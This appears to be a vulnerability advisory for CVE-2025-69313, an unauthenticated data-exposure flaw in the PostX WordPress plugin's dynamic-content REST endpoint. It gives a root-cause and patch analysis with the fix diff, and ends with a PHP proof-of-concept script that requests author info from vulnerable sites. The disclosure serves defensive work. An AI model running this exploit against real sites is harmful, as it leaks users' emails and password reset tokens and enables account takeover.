Atomic Edge analysis of CVE-2025-69313:
The PostX WordPress plugin (versions <=5.0.3) contains a missing authorization vulnerability in its dynamic content REST API endpoint. This allows unauthenticated attackers to retrieve sensitive post and user data. The CVSS 5.3 score reflects a medium-severity information disclosure risk.
Root Cause:
The vulnerability exists in the `DCController.php` file within the dynamic content addon. The `handle_dynamic_data` function registers a REST API route at `/wp-json/ultp/v2/dynamic-content` with a `permission_callback` set to `__return_true`. This callback unconditionally grants access to all requests, including those from unauthenticated users. The function processes `post_id` and `data_type` parameters from the request to fetch and return dynamic content.
Exploitation:
An attacker sends a POST request to `/wp-json/ultp/v2/dynamic-content` with `post_id` and `data_type` parameters. Setting `data_type` to `author_info` triggers the retrieval of author metadata from the specified post. The `handle_dynamic_data` function calls `get_post_meta` with the provided parameters, potentially exposing sensitive user fields like `user_email` and `user_activation_key` (password reset tokens) when the target post exists.
Patch Analysis:
The patch replaces the `__return_true` permission callback with a multi-layered authorization function. The new callback first validates user authentication via `is_user_logged_in()`. It then performs capability checks based on the requested `post_id` and `data_type`. For `author_info` requests, the patch requires `current_user_can('edit_user', $author_id)` or `current_user_can('manage_options')`. Additional checks block access to non-published posts unless the user is the author or has `edit_posts` capability, and block password-protected posts entirely.
Impact:
Successful exploitation allows unauthenticated attackers to retrieve sensitive user data including email addresses and password reset tokens from WordPress user meta. Attackers can also access titles and metadata from private or draft posts. This information disclosure could facilitate account takeover attacks, targeted phishing campaigns, or further reconnaissance for privilege escalation.
--- a/ultimate-post/addons/dynamic_content/includes/DCController.php
+++ b/ultimate-post/addons/dynamic_content/includes/DCController.php
@@ -35,7 +35,62 @@
array(
'methods' => 'POST',
'callback' => array( $this, 'handle_dynamic_data' ),
- 'permission_callback' => '__return_true',
+ // 'permission_callback' => function () {
+ // return is_user_logged_in() && current_user_can( 'edit_posts' );
+ // },
+ 'permission_callback' => function ( $request ) {
+ // there is an unauthenticated route for fetching user data against post, that can be used to fetch user sensitive data like user email, user password reset token hast ( user_activation_key ) , private or draft post title e.t.c as unauthenticated user.
+ $post_id = method_exists( $request, 'get_param' )
+ ? intval( $request->get_param('post_id') )
+ : ( isset( $request['post_id'] ) ? intval( $request['post_id'] ) : 0 );
+
+ $data_type = method_exists( $request, 'get_param' )
+ ? $request->get_param('data_type')
+ : ( isset( $request['data_type'] ) ? $request['data_type'] : '' );
+
+ // User must be logged in
+ if ( ! is_user_logged_in() ) {
+ return false;
+ }
+
+ // If no post_id, require edit_posts capability
+ if ( $post_id <= 0 ) {
+ return current_user_can( 'edit_posts' );
+ }
+
+ // Get the post
+ $post = get_post( $post_id );
+ if ( ! $post ) {
+ return false;
+ }
+
+ // Check if post is password protected
+ if ( post_password_required( $post ) ) {
+ return false;
+ }
+
+ // User must be able to edit this specific post
+ if ( ! current_user_can( 'edit_post', $post_id ) ) {
+ return false;
+ }
+
+ // For non-published posts, user must be author OR have edit_posts capability
+ if ( $post->post_status !== 'publish' ) {
+ if ( (int) $post->post_author !== get_current_user_id() && ! current_user_can( 'edit_posts' ) ) {
+ return false;
+ }
+ }
+
+ // Restrict author_info to users who can edit the author OR admins
+ if ( $data_type === 'author_info' ) {
+ $author_id = (int) $post->post_author;
+ if ( ! current_user_can( 'edit_user', $author_id ) && ! current_user_can( 'manage_options' ) ) {
+ return false;
+ }
+ }
+
+ return true;
+ },
'args' => array(),
),
)
@@ -65,8 +120,8 @@
public function handle_dynamic_data( $server ) {
$args = $server->get_params();
$post_id = isset( $args['post_id'] ) ? intval( $args['post_id'] ) : '';
- $key = isset( $args['key'] ) ? $args['key'] : '';
$data_type = isset( $args['data_type'] ) ? $args['data_type'] : '';
+ $key = isset( $args['key'] ) ? $args['key'] : '';
return rest_ensure_response(
array(
--- a/ultimate-post/blocks/Dark_Light.php
+++ b/ultimate-post/blocks/Dark_Light.php
@@ -62,7 +62,7 @@
$dlMode = isset( $_COOKIE['ultplocalDLMode'] ) ? $_COOKIE['ultplocalDLMode'] : ultimate_post()->get_dl_mode();
$dlIcons = array();
- $dlIcons['moon'] = '<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M22 14.27A10.14 10.14 0 1 1 9.73 2 8.84 8.84 0 0 0 22 14.27Z"/></svg>';
+ $dlIcons['moon'] = '<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path d="M22 14.27A10.14 10.14 0 1 1 9.73 2 8.84 8.84 0 0 0 22 14.27Z"/></svg>';
$dlIcons['moon_line'] = '<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M8.17 4.53A9.54 9.54 0 0 0 19.5 15.69a8.26 8.26 0 0 1-7.76 4.29 8.36 8.36 0 0 1-7.71-7.7 8.23 8.23 0 0 1 4.15-7.76m1-2.52c-.16 0-.32.03-.48.09a10.28 10.28 0 0 0 3.56 19.9c4.47 0 8.27-2.85 9.67-6.84a1.36 1.36 0 0 0-1.27-1.82c-.15 0-.31.03-.47.1a7.48 7.48 0 0 1-3.41.43 7.59 7.59 0 0 1-6.33-10.04A1.36 1.36 0 0 0 9.17 2Z" /></svg>';
$dlIcons['sun'] = '<svg viewBox="0 0 24 24" ><g><path d="M12 18.36a6.36 6.36 0 1 0 0-12.72 6.36 6.36 0 0 0 0 12.72ZM12.98.96V2.8c0 .53-.43.95-.97.95h-.02a.96.96 0 0 1-.97-.95V.96c0-.53.43-.96.96-.96h.05c.53 0 .96.43.96.96ZM4.89 3.5l1.3 1.3c.38.38.37.98 0 1.36h-.01l-.01.02a.96.96 0 0 1-1.37 0l-1.3-1.3a.96.96 0 0 1 0-1.35l.04-.04a.96.96 0 0 1 1.35 0ZM.96 11.02H2.8c.53 0 .95.43.95.97v.02c0 .53-.42.97-.95.97H.96a.95.95 0 0 1-.96-.96v-.05c0-.53.43-.96.96-.96ZM3.5 19.11l1.3-1.3a.96.96 0 0 1 1.36 0v.01l.02.01c.38.38.39.99 0 1.37l-1.3 1.3a.96.96 0 0 1-1.35 0l-.04-.04a.96.96 0 0 1 0-1.35ZM11.02 23.04V21.2c0-.53.43-.95.97-.95h.02c.53 0 .97.42.97.95v1.84c0 .53-.43.96-.96.96h-.05a.95.95 0 0 1-.96-.96ZM19.11 20.5l-1.3-1.3a.96.96 0 0 1 0-1.36h.01l.01-.02a.96.96 0 0 1 1.37 0l1.3 1.3c.38.37.38.98 0 1.35l-.04.04a.96.96 0 0 1-1.35 0ZM23.04 12.98H21.2a.96.96 0 0 1-.95-.97v-.02c0-.53.42-.97.95-.97h1.84c.53 0 .96.43.96.96v.05c0 .53-.43.96-.96.96ZM20.5 4.89l-1.3 1.3a.96.96 0 0 1-1.36 0v-.01l-.02-.01a.96.96 0 0 1 0-1.37l1.3-1.3a.96.96 0 0 1 1.35 0l.04.04c.37.37.37.98 0 1.35Z"/></g><defs></defs></svg>';
$dlIcons['sun_line'] = '<svg viewBox="0 0 24 24"><path d="M12 7.64a4.36 4.36 0 1 1-.01 8.73A4.36 4.36 0 0 1 12 7.64Zm0-2a6.35 6.35 0 1 0 0 12.71 6.35 6.35 0 0 0 0-12.7ZM12.98.96V2.8c0 .53-.43.96-.96.96h-.03a.96.96 0 0 1-.97-.96V.96c0-.53.43-.96.96-.96h.06c.52 0 .95.43.95.96ZM4.88 3.5l1.3 1.3c.38.38.38.98 0 1.36h-.01l-.01.02a.96.96 0 0 1-1.36.01L3.5 4.9a.96.96 0 0 1 0-1.35l.03-.04a.96.96 0 0 1 1.35 0ZM.96 11.02H2.8c.53 0 .96.43.96.96v.03c0 .53-.42.97-.96.97H.96a.96.96 0 0 1-.96-.96v-.06c0-.52.43-.95.96-.95ZM3.5 19.12l1.3-1.3a.96.96 0 0 1 1.38.02c.38.38.39.99.01 1.36l-1.3 1.3a.96.96 0 0 1-1.35 0l-.04-.03a.96.96 0 0 1 0-1.35ZM11.02 23.04V21.2c0-.53.43-.96.96-.96h.03c.53 0 .97.42.97.96v1.84c0 .53-.43.96-.96.96h-.06a.96.96 0 0 1-.95-.96ZM19.12 20.5l-1.3-1.3a.96.96 0 0 1 0-1.36h.01l.01-.02a.96.96 0 0 1 1.36-.01l1.3 1.3c.38.37.38.98 0 1.35l-.03.04a.96.96 0 0 1-1.35 0ZM23.04 12.98H21.2a.96.96 0 0 1-.96-.96v-.03c0-.53.42-.97.96-.97h1.84c.53 0 .96.43.96.96v.06c0 .52-.43.95-.96.95ZM20.5 4.88l-1.3 1.3a.96.96 0 0 1-1.36 0v-.01l-.02-.01a.96.96 0 0 1-.01-1.36l1.3-1.3a.96.96 0 0 1 1.35 0l.04.03c.38.37.38.98 0 1.35Z" /></svg>';
--- a/ultimate-post/classes/Blocks.php
+++ b/ultimate-post/classes/Blocks.php
@@ -256,6 +256,35 @@
$widgetBlockId = isset( $_POST['widgetBlockId'] ) ? sanitize_text_field( $_POST['widgetBlockId'] ) : '';
$exclude_post_id = isset( $_POST['exclude'] ) ? sanitize_text_field( $_POST['exclude'] ) : '';
+ if ( $postId ) { // patch security issue
+ $post = get_post( (int) $postId );
+
+ if ( ! $post ) {
+ wp_send_json_error( array( 'message' => 'Post not found' ) );
+ return;
+ }
+
+ // Block private posts
+ if ( $post->post_status === 'private' && ! current_user_can( 'read_private_posts' ) ) {
+ wp_send_json_error( array( 'message' => 'Private post' ) );
+ return;
+ }
+
+ // Block draft/pending
+ if ( in_array( $post->post_status, array( 'draft', 'pending' ), true )
+ && ! current_user_can( 'edit_post', $post->ID ) ) {
+ wp_send_json_error( array( 'message' => 'Not allowed' ) );
+ return;
+ }
+
+ // Block password protected
+ if ( post_password_required( $post ) ) {
+ wp_send_json_error( array( 'message' => 'Password protected' ) );
+ return;
+ }
+ }
+
+
$is_adv = isset( $_POST['isAdv'] ) ? ultimate_post()->ultp_rest_sanitize_params( $_POST['isAdv'] ) : false;
$filterValue = isset( $_POST['filterValue'] ) ?
(
--- a/ultimate-post/ultimate-post.php
+++ b/ultimate-post/ultimate-post.php
@@ -3,7 +3,7 @@
/**
* Plugin Name: PostX
* Description: <a href="https://www.wpxpo.com/postx/?utm_source=db-postx-plugin&utm_medium=details&utm_campaign=postx-dashboard">PostX</a> is the #1 Gutenberg Blocks plugin with 38+ free blocks that includes post gird, post list, post slider, carousel, news ticker, etc. Advanced capabilities like dynamic site building and design variations make it the best choice for creating News Magazine sites, and any kind of blog such as Personal Blogs, Travel Blogs, Fashion Blogs, Food Reviews, Recipe Blogs, etc.
- * Version: 5.0.3
+ * Version: 5.0.4
* Author: Post Grid Team by WPXPO
* Author URI: https://www.wpxpo.com/postx/?utm_source=db-postx-plugin&utm_medium=details&utm_campaign=postx-dashboard
* Text Domain: ultimate-post
@@ -14,7 +14,7 @@
defined( 'ABSPATH' ) || exit;
// Define
-define( 'ULTP_VER', '5.0.3' );
+define( 'ULTP_VER', '5.0.4' );
define( 'ULTP_URL', plugin_dir_url( __FILE__ ) );
define( 'ULTP_BASE', plugin_basename( __FILE__ ) );
define( 'ULTP_PATH', plugin_dir_path( __FILE__ ) );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69313 - PostX <= 5.0.3 - Missing Authorization
<?php
$target_url = 'http://vulnerable-site.com/wp-json/ultp/v2/dynamic-content';
// Target a specific post ID that exists on the site
$post_id = 1;
// Request author information which may expose sensitive user meta
$payload = [
'post_id' => $post_id,
'data_type' => 'author_info'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200) {
echo "VULNERABLE: Received 200 OK responsen";
echo "Response: " . $response . "n";
$data = json_decode($response, true);
if (isset($data['data'])) {
echo "Extracted user data:n";
print_r($data['data']);
}
} else {
echo "NOT VULNERABLE: Received HTTP $http_coden";
}
?>